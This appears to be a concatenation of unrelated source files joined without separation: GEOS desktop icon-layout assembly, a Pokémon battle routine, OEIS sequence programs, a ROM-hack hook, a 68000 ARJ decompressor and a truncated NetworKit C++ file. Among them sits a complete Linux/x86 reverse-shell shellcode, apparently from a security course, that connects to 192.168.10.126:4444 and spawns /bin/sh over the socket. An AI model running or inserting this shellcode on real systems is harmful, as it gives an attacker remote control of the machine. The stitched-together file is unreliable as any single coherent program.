%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FolderCallView proc far class FolderClass uses bx, si, di .enter DerefFolderObject ds, si, bx mov bx, ds:[bx].FOI_windowBlock mov si, FOLDER_VIEW_OFFSET ornf di, mask MF_FIXUP_DS call ObjMessage .leave ret FolderCallView endp COMMENT @------------------------------------------------------------------- FolderSetBackgroundFillPattern ---------------------------------------------------------------------------- DESCRIPTION: Sets the fill color of the current window CALLED BY: INTERNAL - FolderDraw, FolderDrawObjectName PASS: di = handle of graphics state or window RETURN: CF = set if wash not needed clear otherwise DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 10/8/92 Initial version ---------------------------------------------------------------------------@ FolderSetBackgroundFillPattern proc near uses ax, bx, cx, si .enter mov si, WIT_COLOR ; ask for window's background color call WinGetInfo ; color in ax/bx jc washDone test ah, mask WCF_TRANSPARENT ; if transparent, skip fill jnz washDone mov cx, ax ; save flags, color and ah, mask WCF_MAP_MODE ; set the map mode mov al, ah call GrSetAreaColorMap mov al, cl mov ah, CF_RGB test ch, mask WCF_RGB ; if non-zero, have RGB color jnz setColor mov ah, CF_INDEX setColor: call GrSetAreaColor clc washDone: ; carry set .leave ret FolderSetBackgroundFillPattern endp COMMENT @------------------------------------------------------------------- FolderPlaceIconsGeoManagerStyle ---------------------------------------------------------------------------- DESCRIPTION: Places the given FolderRecord in the next "slot" as designated by a slew of global variables in dgroup. CALLED BY: INTERNAL - FolderPlaceUnpositionedIcons PASS: *ds:si - FolderClass object RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: View size calculations at the end of this routine are neither efficient, nor elegant. They are the way they are for historical reasons (they have worked since V1.0) REVISION HISTORY: Name Date Description ---- ---- ----------- martin 12/6/92 initial version ---------------------------------------------------------------------------@ FolderPlaceIconsGeoManagerStyle proc near class FolderClass uses di, bp .enter ; ; make sure we use the right set of bounds variables ; call SetFileBoxWidthHeight DerefFolderObject ds, si, di mov al, ds:[di].FOI_displayMode mov cx, ds:[di].FOI_winBounds.P_x ; ; Check for Large Icon mode. ; clr ss:[buildListXPos] mov ss:[buildListYPos], LARGE_ICON_DOWNDENT mov bx, offset FolderRecordPositionLargeMode clr bp test al, mask FIDM_LICON jnz callKids ; ; Check for Names & Details mode. ; mov ss:[buildListXPos], TEXT_INDENT mov ss:[buildListYPos], TEXT_DOWNDENT mov bx, offset FolderRecordPositionLongMode test al, mask FIDM_FULL jnz callKids ; ; Default to Names Only mode -- CX is used as max width ; mov bx, offset FolderRecordPositionNamesOnlyMode mov dx, ds:[di].FOI_winBounds.P_y clr cx callKids: mov ax, SEGMENT_CS call FolderSendToDisplayList .leave ret FolderPlaceIconsGeoManagerStyle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FolderSetDocBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Set the document bounds of the folder PASS: *ds:si - FolderClass object ds:di - FolderClass instance data es - segment of FolderClass cx, dx - document bounds RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 3/15/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FolderSetDocBounds method dynamic FolderClass, MSG_FOLDER_SET_DOC_BOUNDS movP ds:[di].FOI_docBounds, cxdx ret FolderSetDocBounds endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NDDesktopSetDocBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: decrement the doc bounds before setting PASS: *ds:si - NDDesktopClass object ds:di - NDDesktopClass instance data es - segment of NDDesktopClass cx, dx - doc bounds RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: I don't know why we have to do this, but the *#$&#%! view comes up with scrollbars initially when returning from state, and this seems to prevent it. Of course, this causes additional problems, but... KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 3/16/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _NEWDESK NDDesktopSetDocBounds method dynamic NDDesktopClass, MSG_FOLDER_SET_DOC_BOUNDS uses ax, cx, dx .enter ; ; If the document bounds are bigger than the window size, then ; make the thing scrollable. This is supposed to happen ; automatically, but it doesn't fucking work. ; mov di, ds:[di].DVI_gState tst di jz done push cx, dx ; doc bounds call GrGetWinBounds EC < ERROR_C DESKTOP_FATAL_ERROR > sub cx, ax sub dx, bx pop ax, bx ; doc bounds (win ; right, bottom in cx, dx) ; ; Compare horizontal dimensions, and add horizontal scroller ; if needed ; cmp ax, cx mov cx, mask GVDA_SCROLLABLE ja gotHoriz xchg cl, ch gotHoriz: ; ; Do same for vertical ; cmp bx, dx mov dx, mask GVDA_SCROLLABLE ja gotVert xchg dl, dh gotVert: mov ax, MSG_GEN_VIEW_SET_DIMENSION_ATTRS mov bp, VUM_DELAYED_VIA_UI_QUEUE clr di call FolderCallView done: .leave mov di, offset NDDesktopClass GOTO ObjCallSuperNoLock NDDesktopSetDocBounds endm endif COMMENT @------------------------------------------------------------------- FolderRecordPositionLargeMode ---------------------------------------------------------------------------- DESCRIPTION: Places the given FolderRecord in the next "slot" as designated by a slew of global variables in dgroup. CALLED BY: FolderPlaceIconsGeoManagerStyle PASS: ds:di = FolderRecord "instance data" cx = width of parent folder bp - nonzero if at least one folder on this row is word-wrapped to 2 lines GLOBALS USED: buildListXPos buildListYPos largeIconBoxWidth RETURN: bp - updated DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 11/11/92 Pulled out of BuildListPass ---------------------------------------------------------------------------@ FolderRecordPositionLargeMode proc far class FolderClass uses ax, cx .enter mov ax, ss:[buildListXPos] ; need new row? add ax, ss:[largeIconBoxWidth] cmp ax, cx jle gotPos ; ; start new row ; clr ss:[buildListXPos] mov ax, ss:[largeIconBoxHeight] add ss:[buildListYPos], ax if WRAP ; ; If there were any word-wrapped files on the previous row, ; then scoot the next row down a bit. In NewDesk, we add an ; extra blank line -- in GMGR, just add an extra half. ; test ss:[desktopFeatures], mask DF_WRAP jz gotPos mov ax, ss:[desktopFontHeight] tst bp jz gotPos add ss:[buildListYPos], ax GM < shr ax > NPZ < add ss:[buildListYPos], ax > clr bp endif gotPos: ; ; compute bounds for file ; cmp ss:[buildListYPos], (LARGEST_POSITIVE_COORDINATE - 100) jge done mov cx, ss:[buildListXPos] add cx, LARGE_ICON_INDENT mov dx, ss:[buildListYPos] call FolderRecordSetPosition mov ax, ss:[largeIconBoxWidth] add ss:[buildListXPos], ax ; for next time if WRAP test ds:[di].FR_state, mask FRSF_WORD_WRAP jz done dec bp ; signal that this line needs more space endif done: .leave ret FolderRecordPositionLargeMode endp COMMENT @------------------------------------------------------------------- FolderRecordPositionLongMode ---------------------------------------------------------------------------- DESCRIPTION: Place this folder for Names & Details mode. CALLED BY: FolderPlaceIconsGeoManagerStyle PASS: ds:di = FolderRecord RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 12/6/92 Pulled out of BuildLongMode ---------------------------------------------------------------------------@ FolderRecordPositionLongMode proc far .enter andnf ds:[di].FR_state, not mask FRSF_WORD_WRAP ; ; compute bounds for file ; cmp ss:[buildListYPos], (LARGEST_POSITIVE_COORDINATE - 20) jge skipEntry call BuildBoundsLongMode mov ax, ss:[longTextBoxHeight] add ss:[buildListYPos], ax skipEntry: .leave ret FolderRecordPositionLongMode endp COMMENT @------------------------------------------------------------------- BuildBoundsLongMode ---------------------------------------------------------------------------- DESCRIPTION: CALLED BY: INTERNAL - FolderRecordPositionLongMode PASS: ds:di = FolderRecord RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 12/6/92 Added header ---------------------------------------------------------------------------@ BuildBoundsLongMode proc near uses dx .enter mov ax, ss:[longTextBoxHeight] sub ax, TEXT_ICON_HEIGHT shr ax, 1 add ax, ss:[buildListYPos] mov ds:[di].FR_iconBounds.R_top, ax add ax, TEXT_ICON_HEIGHT mov ds:[di].FR_iconBounds.R_bottom, ax mov ax, ss:[longTextBoxHeight] sub ax, ss:[desktopFontHeight] sar ax, 1 add ax, ss:[buildListYPos] mov ds:[di].FR_nameBounds.R_top, ax add ax, ss:[desktopFontHeight] mov ds:[di].FR_nameBounds.R_bottom, ax mov ax, ss:[buildListXPos] mov ds:[di].FR_iconBounds.R_left, ax add ax, TEXT_ICON_WIDTH mov ds:[di].FR_iconBounds.R_right, ax add ax, TEXT_ICON_HORIZ_SPACING+1 mov ds:[di].FR_nameBounds.R_left, ax if _ZMGR and SEPARATE_NAMES_AND_DETAILS ; for ZMGR, go off the end - brianc 6/1/93 mov ax, ZMGR_FULL_DATES_RIGHT_BOUND+10 else mov ax, ss:[buildListXPos] ; set this to get bound box add ax, ss:[longTextBoxWidth] endif mov ds:[di].FR_nameBounds.R_right, ax call FolderRecordSetPositionCommon .leave ret BuildBoundsLongMode endp COMMENT @------------------------------------------------------------------- FolderRecordPositionNamesOnlyMode ---------------------------------------------------------------------------- DESCRIPTION: Position the FolderRecord in names only mode. CALLED BY: FolderPlaceIconsGeoManagerStyle PASS: ds:di = FolderRecord cx - widest FolderRecord in this column dx - height of parent folder RETURN: carry clear cx - updated DESTROYED: ax PSEUDO CODE/STRATEGY: After placing each icon, get its width, and keep track of the widest one seen so far, so we know where to set the next column. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 12/6/92 Initial version ---------------------------------------------------------------------------@ FolderRecordPositionNamesOnlyMode proc far .enter andnf ds:[di].FR_state, not mask FRSF_WORD_WRAP mov ax, ss:[buildListYPos] ; need new column? add ax, ss:[shortTextBoxHeight] cmp ax, dx jle sameColumn ; no ; ; start new column ; add cx, SHORT_TEXT_EXTERNAL_HORIZ_SPACING * 3 add ss:[buildListXPos], cx clr cx mov ss:[buildListYPos], TEXT_DOWNDENT sameColumn: ; ; compute bounds for file ; cmp ss:[buildListXPos], (LARGEST_POSITIVE_COORDINATE - 100) jge done call BuildBoundsNamesOnlyMode mov ax, ss:[shortTextBoxHeight] add ss:[buildListYPos], ax ; ; If this file is wider than any others seen so far, then ; remember that fact. ; mov ax, ds:[di].FR_boundBox.R_right sub ax, ds:[di].FR_boundBox.R_left cmp ax, cx jbe done mov cx, ax done: clc .leave ret FolderRecordPositionNamesOnlyMode endp COMMENT @------------------------------------------------------------------- BuildBoundsNamesOnlyMode ---------------------------------------------------------------------------- DESCRIPTION: CALLED BY: FolderRecordPositionNamesOnlyMode PASS: ds:di = FolderRecord RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 12/6/92 Initial version ---------------------------------------------------------------------------@ BuildBoundsNamesOnlyMode proc near uses cx, dx .enter mov ax, ss:[shortTextBoxHeight] sub ax, TEXT_ICON_HEIGHT shr ax, 1 add ax, ss:[buildListYPos] mov ds:[di].FR_iconBounds.R_top, ax add ax, TEXT_ICON_HEIGHT mov ds:[di].FR_iconBounds.R_bottom, ax mov ax, ss:[shortTextBoxHeight] sub ax, ss:[desktopFontHeight] sar ax, 1 add ax, ss:[buildListYPos] mov ds:[di].FR_nameBounds.R_top, ax add ax, ss:[desktopFontHeight] mov ds:[di].FR_nameBounds.R_bottom, ax mov ax, ss:[buildListXPos] mov ds:[di].FR_iconBounds.R_left, ax add ax, TEXT_ICON_WIDTH mov ds:[di].FR_iconBounds.R_right, ax add ax, TEXT_ICON_HORIZ_SPACING+1 mov ds:[di].FR_nameBounds.R_left, ax call FolderRecordGetNameWidth ; dx = real name width add ax, dx mov ds:[di].FR_nameBounds.R_right, ax call FolderRecordSetPositionCommon .leave ret BuildBoundsNamesOnlyMode endp FolderCode ends
; Linux/x86 reverse shell shellcode ; By Daniel Roberson -- @dmfroberson -- daniel@planethacker.net ; ; For SecurityTube Linux Assembly Expert course. ; SLAE-877 BITS 32 ; python -c "import socket; print hex(socket.htons(4444))" PORT equ 0x5c11 ; python -c 'import socket,struct; print hex(struct.unpack("<L", socket.inet_aton("192.168.10.126"))[0])' HOST equ 0x7e0aa8c0 xor eax, eax ; zero out eax xor ebx, ebx ; zero out ebx xor edx, edx ; zero out edx add eax, 102 ; socketcall() inc ebx ; socket() -- 1 push edx ; IPPROTO_IP -- 0 push 1 ; SOCK_STREAM push dword 2 ; AF_INET mov ecx, esp ; address of args int 0x80 ; call socket() xchg esi, eax ; fd for socket xor eax, eax ; zero out eax add eax, 102 ; socketcall() inc ebx ; increase ebx to 2 inc ebx ; connect() -- 3 push HOST ; IP in network byte order push word PORT ; port in network byte order push word 2 ; AF_INET mov ecx, esp ; address of structure push 16 ; size of structure push ecx ; address of structure push esi ; socket descriptor mov ecx, esp ; save address int 0x80 ; call connect() ;; dup2 loop xor ecx, ecx ; zero out ecx mov cl, 2 ; initialize counter loop: xor eax, eax add eax, 63 ; dup2() int 0x80 dec ecx ; decrease counter jns loop ; jump to loop if applicable xor eax, eax ; zero out eax push eax ; push null byte push 0x68732f2f ; //sh push 0x6e69622f ; /bin mov ebx, esp ; copy address of string push eax ; null push ebx ; address of /bin/sh mov ecx, esp ; push eax ; null mov edx, esp ; envp mov al, 11 ; execve() int 0x80 ; call execve()
BattleCommand_Teleport: ; teleport ld a, [wBattleType] cp BATTLETYPE_SHINY jr z, .failed cp BATTLETYPE_TRAP jr z, .failed cp BATTLETYPE_CELEBI jr z, .failed cp BATTLETYPE_SUICUNE jr z, .failed ld a, BATTLE_VARS_SUBSTATUS5_OPP call GetBattleVar bit SUBSTATUS_CANT_RUN, a jr nz, .failed ; Only need to check these next things if it's your turn ldh a, [hBattleTurn] and a jr nz, .enemy_turn ; Can't teleport from a trainer battle ld a, [wBattleMode] dec a jr nz, .failed ; If your level is greater than the opponent's, you run without fail. ld a, [wCurPartyLevel] ld b, a ld a, [wBattleMonLevel] cp b jr nc, .run_away ; Generate a number between 0 and (YourLevel + TheirLevel). add b ld c, a inc c .loop_player call BattleRandom cp c jr nc, .loop_player ; If that number is greater than 4 times your level, run away. srl b srl b cp b jr nc, .run_away .failed call AnimateFailedMove jp PrintButItFailed .enemy_turn ld a, [wBattleMode] dec a jr nz, .failed ld a, [wBattleMonLevel] ld b, a ld a, [wCurPartyLevel] cp b jr nc, .run_away add b ld c, a inc c .loop_enemy call BattleRandom cp c jr nc, .loop_enemy srl b srl b cp b ; This does the wrong thing. What was ; probably intended was jr c, .failed ; The way this is made makes enemy use ; of Teleport always succeed if able jr nc, .run_away .run_away call UpdateBattleMonInParty xor a ld [wNumHits], a inc a ld [wForcedSwitch], a ld [wKickCounter], a call SetBattleDraw call BattleCommand_LowerSub call LoadMoveAnim ld c, 20 call DelayFrames call SetBattleDraw ld hl, FledFromBattleText jp StdBattleTextbox
; A131820: Row sums of triangle A131819. ; 1,6,16,33,59,96,146,211,293,394,516,661,831,1028,1254,1511,1801,2126,2488,2889,3331,3816,4346,4923,5549,6226,6956,7741,8583,9484,10446,11471,12561,13718,14944,16241,17611,19056,20578,22179,23861,25626 mov $1,$0 mul $0,2 mul $1,$0 add $0,7 add $1,$0 add $1,5 mul $1,$0 sub $1,84 div $1,12 add $1,1
;================================================================================ ; NMI Hook ;-------------------------------------------------------------------------------- ; rando already hooks the Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB) so we have to hook after that org $0080D0 ; <- D0 - Bank00.asm : 164-167 (PHB, LDA.w #$0000) JML.l NMIHookAction org $0080D5 ; <- D5 - Bank00.asm : 164-167 (PHB, LDA.w #$0000) NMIHookReturn: ;--------------------------------------------------------------------------------
; A245830: The Szeged index of a benzenoid consisting of a linear chain of n hexagons. ; 54,243,656,1381,2506,4119,6308,9161,12766,17211,22584,28973,36466,45151,55116,66449,79238,93571,109536,127221,146714,168103,191476,216921,244526,274379,306568,341181,378306,418031,460444,505633,553686,604691,658736,715909,776298,839991,907076,977641,1051774,1129563,1211096,1296461,1385746,1479039,1576428,1678001,1783846,1894051,2008704,2127893,2251706,2380231,2513556,2651769,2794958,2943211,3096616,3255261,3419234,3588623,3763516,3944001,4130166,4322099,4519888,4723621,4933386,5149271,5371364 mov $5,$0 mul $0,2 mov $3,$0 add $3,3 mov $0,$3 lpb $0 sub $0,1 add $2,$3 add $3,4 trn $1,$3 add $3,4 add $4,$2 lpe add $1,$4 lpb $5 add $1,4 sub $5,1 lpe add $1,4 mov $0,$1
; ; ARJ Mode 7 decode (Size optimized) ; Copyleft 1993-2007 Mr Ni! (the Great) of the TOS-crew ; + Orion_: In my modified version of Packed data, the first long is the original file size ! ; + ross : facility for mcgeezer ; ; ; CALL: ; A0 = ptr to depack space ; A1 = ptr to packed data ; A2 = ptr to a 11312 bytes big workspace ; ; RETURN ; A1 = ptr to end of depacked data ; workspacesize EQU 11312 ; this specific order of the tables is used in the program! c_table EQU 0 c_len EQU 8192 avail EQU 9740 pt_len EQU 10780 pt_table EQU 10800 ; register usage: ; D0 = byte count ; D1 = command count ; D2 = temporary usage ; D3 = ; D4 = command tri-nibble ; D5 = const: #$100 ; D6 = bitbuf, subbitbuf ; D7 = .H: command count, .B: bits in subbitbuf ; ; A0 = text_pointer ; A1 = rbuf_current ; A2 = c_table ; A3 = avail ; A4 = pt_len ; A5 = c_len ; A6 = copy_pointer ; A7 = Stack pointer arjm7_depack: movem.l D0-D7/A0/A2-A6,-(SP) ; move.l (A1)+,D0 ; Orion_: d0 = original file size moveq #0,D7 ; bitcount = 0 move.w A1,D3 ; for checking rbuf_current btst D7,D3 ; does readbuf_current point to an even address? beq.s .cont ; yes addq.l #1,A1 moveq #8,D7 ; 8 bits in subbitbuf .cont: move.l -2(A1),D6 ; fil bitbuf ror.l D7,D6 lea c_len-c_table(A2),A5 ; lea avail-c_len(A5),A3 .blocksize_zero: ; load a new Hufmann table move.w D6,D1 ; blocksize subq.w #1,D1 ; adapt blocksize for dbra movem.l D0-D1/A0/A2,-(SP) moveq #16,D3 ; pop 16 bits bsr fillbits clr.w (A3) ; reset avail moveq #-2,D2 ; call-values for arjm7_read_pt_len() bsr arjm7_read_pt_len ; call arjm7_read_pt_len, a4 = pt_len bsr.s .get_them2 movea.l A5,A6 move.w D2,D0 bne.s .n_niet_nul ; bsr.s .get_them2 clr.b 0(A6,D2.w) ; clear table move.w #$0FFF,D1 .loop_2: move.w D2,-(A6) dbra D1,.loop_2 bra.s .einde .get_them2: moveq #9,D3 ; move.w D6,D2 ; bitbuf lsr.w #7,D2 ; shift 'old' bits bra fillbits .n_niet_nul: ; ******************************* ; ; Register usage: ; ; D0 ; d1 ; d2 ; D3 ; d4 = $13 ; d5 ; d6 = .l (sub) bitbuf ; d7 = .b bits in bitbuf ; ; a0 = ; a1 = rbuf_current ; a2 = ; a3 = avail ; a4 = pt_len ; a5 = c_len ; a6 = ; a7 = sp ; move.w D0,D5 subq.w #1,D0 moveq #$13,D4 ; reset the high word of D4 over here .loop_3: move.w D6,D3 ; sub bitbuf clr.b D3 lsr.w #7,D3 ; upper 8 bits move.w pt_table-pt_len(A4,D3.w),D2 ; check pt_table bge.s .c_kleiner_NT ; move.b D6,D3 ; bitbuf .loop_4: ; add.b D3,D3 ; bcc.s .links ; neg.w D2 .links: ; move.w 0(A3,D2.w),D2 ; bmi.s .loop_4 ; .c_kleiner_NT: ; move.b 0(A4,D2.w),D3 ; bsr fillbits cmp.w #2,D2 ; bgt.s .c_groter_2 ; beq.s .c_niet_1 ; tst.w D2 ; beq.s .loop_5_init ; moveq #4,D3 bsr arjm7_getbits addq.w #2,D2 ; bra.s .loop_5_init ; .c_niet_1: bsr.s .get_them2 add.w D4,D2 ; .loop_5_init: sub.w D2,D0 ; .loop_5: clr.b (A6)+ ; dbra D2,.loop_5 ; bra.s .loop_3_test ; .c_groter_2: subq.w #2,D2 ; move.b D2,(A6)+ ; .loop_3_test: dbra D0,.loop_3 ; lea c_table-c_len(A5),A2 ; moveq #$0C,D1 ; movea.l A5,A4 ; bsr arjm7_make_table ; .einde: moveq #20,D2 ; bsr arjm7_read_pt_len ; a4 = pt_len now movem.l (SP)+,D0-D1/A0/A2 move.w #256,D5 ;*********************** ; ; Register usage: ; ; D0 = loopcount ; d1 = command count ; d2 = temporary usage ; D3 = temporary usage ; d4 = command byte ; d5 = const: $100 ; d6 = (sub)bitbuf ; d7 = .h: command count, .b byte count ; ; a0 = text ; a1 = rbuf_current ; a2 = c_table ; a3 = avail ; a4 = pt_len ; a5 = c_len ; a6 = source pointer ; a7 = (sp) .bnz_cont: moveq #-16,D2 ; $ffff fff0, we use the $ffff in the high word later and.w D6,D2 lsr.w #3,D2 ; charactertable is 4096 bytes (=12 bits) move.w 0(A2,D2.w),D2 ; pop character bpl.s .decode_c_cont ; .j_grotergelijk_nc: move.b D6,D3 lsl.b #4,D3 bsr.s .fidel_no .decode_c_cont: ; move.b 0(A5,D2.w),D3 ; pop 'charactersize' bits from buffer bsr.s fillbits sub.w D5,D2 ; bcc.s .sliding_dic ; move.b D2,(A0)+ ; push character into buffer .count_test: subq.l #1,D0 dbeq D1,.bnz_cont ; Hufmann block size > 0? bne .blocksize_zero .decode_einde: lea (a0),a1 movem.l (SP)+,D0-D7/A0/A2-A6 rts ; .fidel_no: add.b D3,D3 bcc.s .fidel_links ; neg.w D2 .fidel_links: move.w 0(A3,D2.w),D2 ; bmi.s .fidel_no ; rts .sliding_dic: move.w D2,D4 ; addq.w #2,D4 ; move.w D6,D2 ; clr.b D2 ; lsr.w #7,D2 ; move.w pt_table-pt_len(A4,D2.w),D2 ; bpl.s .p_cont ; .p_j_grotergelijk_np: move.b D6,D3 bsr.s .fidel_no .p_cont: move.b 0(A4,D2.w),D3 ; bsr.s fillbits move.w D2,D3 ; beq.s .p_einde ; subq.w #1,D3 ; move.w D6,D2 ; subbitbuf swap D2 ; high word of D2 was $ffff addq.w #2,D2 ; low word of D2 is now 1! bsr.s fillbits0 .p_einde: moveq #-1,D3 ; sub.w D2,D3 ; pointer offset negatief lea 0(A0,D3.l),A6 ; pointer in dictionary sub.l D4,D0 ; sub 'bytes to copy' from 'bytes to do' (D4 is 1 too less!), high word D4 should be zero! .copy_loop_0: move.b (A6)+,(A0)+ ; dbra D4,.copy_loop_0 bra.s .count_test ;D3,d1,d2,D0,d4,d5,d6,d7,a4,a1,a2,a3,a0,a5,a6,a7,sp ******************************************************************************** ; no_bits=D3 ; result=D2 arjm7_getbits: move.l D6,D2 swap D2 clr.w D2 fillbits0: rol.l D3,D2 fillbits: sub.b D3,D7 bcc.s .no_fill add.b #16,D7 move.l (A1),D6 addq.l #2,A1 ror.l D7,D6 rts .no_fill: rol.l D3,D6 rts ;D3,d1,d2,D0,d4,d5,d6,d7,a4,a1,a2,a3,a0,a5,a6,a7,sp ******************************************************************************* arjm7_read_pt_len: movea.w D2,A0 moveq #$05,D3 bsr.s arjm7_getbits lea pt_len-c_len(A5),A4 lea pt_table-pt_len(A4),A2 move.w D2,D5 bne.s .n_niet_nula bsr.s arjm7_getbits clr.b 0(A4,D2.w) moveq #$7F,D3 .loop_2a: move.w D2,(A2)+ move.w D2,(A2)+ dbra D3,.loop_2a rts .n_niet_nula: subq.w #1,D2 moveq #7,D0 move.w D2,D4 adda.w D2,A0 movea.l A4,A6 .loop_3a: move.l D6,D2 swap D2 clr.w D2 rol.l #3,D2 cmp.w D0,D2 bne.s .c_niet_7 moveq #12,D3 bra.s .loop_4a_test .loop_4a: addq.w #1,D2 .loop_4a_test: btst D3,D6 dbeq D3,.loop_4a .c_niet_7: moveq #3,D3 cmp.w D0,D2 bcs.s .endif moveq #-3,D3 add.w D2,D3 .endif: move.b D2,(A6)+ bsr.s fillbits cmp.w A0,D4 bne.s .loop_3a_test moveq #2,D3 bsr.s arjm7_getbits sub.w D2,D4 bra.s .loop_5a_test .loop_5a: clr.b (A6)+ .loop_5a_test: dbra D2,.loop_5a .loop_3a_test: dbra D4,.loop_3a moveq #8,D1 ;D3,d1,d2,D0,d4,d5,d6,d7,a4,a1,a2,a3,a0,a5,a6,a7,sp ******************************************************************************* ; d0,d1,d2,d3,d4,d5,d6,d6,a0,a1,a2,a3 ; ; D1 = table bit ; D5 = nchar ; ; A4 = len ; arjm7_make_table: movem.l D6-D7/A1/A4,-(SP) lea -$6C(SP),SP move.w D1,D4 movea.w D5,A6 add.w D4,D4 lea $48(SP),A1 ; len_count[1] movea.l A1,A0 moveq #7,D3 moveq #0,D0 .clear_len: ; clear len_count move.l D0,(A0)+ dbra D3,.clear_len movea.l A4,A0 ; charlen subq.w #1,D5 ; nchar - 1 .len_count_l: move.b (A0)+,D0 ; charlen add.w D0,D0 addq.w #1,-2(A1,D0.w) ; count dbra D5,.len_count_l ; loop lea 2(SP),A0 ; start moveq #0,D0 move.w D0,(A0)+ ; start[1]=0 moveq #15,D2 .start_loop: move.w (A1)+,D3 ; len_count lsl.w D2,D3 ; len_count<<(16-len) add.w D3,D0 ; start move.w D0,(A0)+ ; start[len] dbra D2,.start_loop ; at the end of the loop d2 = $ffff, this is used later moveq #$10,D3 sub.w D1,D3 ; 16-tablebits lea 2(SP),A1 ; start lea $26(SP),A0 ; weight moveq #1,D0 add.b D1,D2 lsl.w D2,D0 .loop_1a: move.w (A1),D2 lsr.w D3,D2 move.w D2,(A1)+ move.w D0,(A0)+ lsr.w #1,D0 bne.s .loop_1a moveq #1,D0 moveq #-1,D2 add.w D3,D2 lsl.w D2,D0 .loop_2b: move.w D0,(A0)+ lsr.w #1,D0 bne.s .loop_2b move.w 2(SP,D4.w),D2 lsr.w D3,D2 beq.s .endif0 moveq #1,D5 lsl.w D1,D5 sub.w D2,D5 subq.w #1,D5 add.w D2,D2 lea 0(A2,D2.w),A0 .loop_3b: move.w D0,(A0)+ dbra D5,.loop_3b ; d5 = $ffff .endif0: moveq #1,D0 add.b D3,D5 lsl.w D5,D0 moveq #0,D2 .loop_4b: move.b (A4)+,D1 ; d1.w -> bovenste acht bits zijn 0 beq.s .loop_4b_inc add.w D1,D1 lea 0(SP,D1.w),A0 move.w (A0),D5 move.w D5,D6 add.w $24(A0),D6 move.w D6,(A0) cmp.w D1,D4 blt.s .len_groter_tablebits_j sub.w D5,D6 add.w D5,D5 lea 0(A2,D5.w),A0 subq.w #1,D6 .j_loop_2: move.w D2,(A0)+ dbra D6,.j_loop_2 .loop_4b_inc_0: addq.w #1,D2 cmp.w A6,D2 blt.s .loop_4b bra.s .loop_4b_end .len_groter_tablebits_j: move.w D5,D7 lsr.w D3,D7 add.w D7,D7 lea 0(A2,D7.w),A0 move.w D1,D6 sub.w D4,D6 move.w D6,D1 .loop_6b: move.w (A0),D7 bne.s .p_is_niet_nul subq.w #2,(A3) move.w (A3),D6 move.w D6,(A0) move.w D7,0(A3,D6.w) neg.w D6 move.w D7,0(A3,D6.w) neg.w D6 move.w D6,D7 .p_is_niet_nul: move.w D5,D6 and.w D0,D6 beq.s .left neg.w D7 .left: lea 0(A3,D7.w),A0 add.w D5,D5 subq.w #2,D1 bhi.s .loop_6b .loop_6b_end: move.w D2,(A0) .loop_4b_inc: addq.w #1,D2 cmp.w A6,D2 blt.s .loop_4b .loop_4b_end: lea $6C(SP),SP movem.l (SP)+,D6-D7/A1/A4 rts ;D3,d1,d2,D0,d4,d5,d6,d7,a4,a1,a2,a3,a0,a5,a6,a7,sp ********************************************************************************
// no-networkit-format /* * HopPlotApproximation.cpp * * Created on: 16.06.2014 * Author: Marc Nemes */ #include <cmath> #include <omp.h> #include <networkit/auxiliary/Random.hpp> #include <networkit/components/ConnectedComponents.hpp> #include <networkit/distance/HopPlotApproximation.hpp> namespace NetworKit { HopPlotApproximation::HopPlotApproximation(const Graph& G, count maxDistance, count k, count r): Algorithm(), G(&G), maxDistance(maxDistance), k(k), r(r) { if (G.isDirected()) throw std::runtime_error("current implementation can only deal with undirected graphs"); ConnectedComponents cc(G); cc.run(); if (cc.getPartition().numberOfSubsets() > 1) throw std::runtime_error("current implementation only runs on graphs with 1 connected component"); } void HopPlotApproximation::run() { count z = G->upperNodeIdBound(); // the length of the bitmask where the number of connected nodes is saved count lengthOfBitmask = (count) std::ceil(std::log2(G->numberOfNodes())); // saves all k bitmasks for every node of the current iteration std::vector<std::vector<unsigned int>> mCurr(z); // saves all k bitmasks for every node of the previous iteration std::vector<std::vector<unsigned int>> mPrev(z); // the maximum possible bitmask based on the random initialization of all k bitmasks std::vector<count> highestCount; // the current distance of the neighborhoods count h = 1; // the estimated number of connected nodes double estimatedConnectedNodes; // the sum over all estimated connected nodes double totalConnectedNodes; // used for setting a random bit in the bitmasks double random; // the 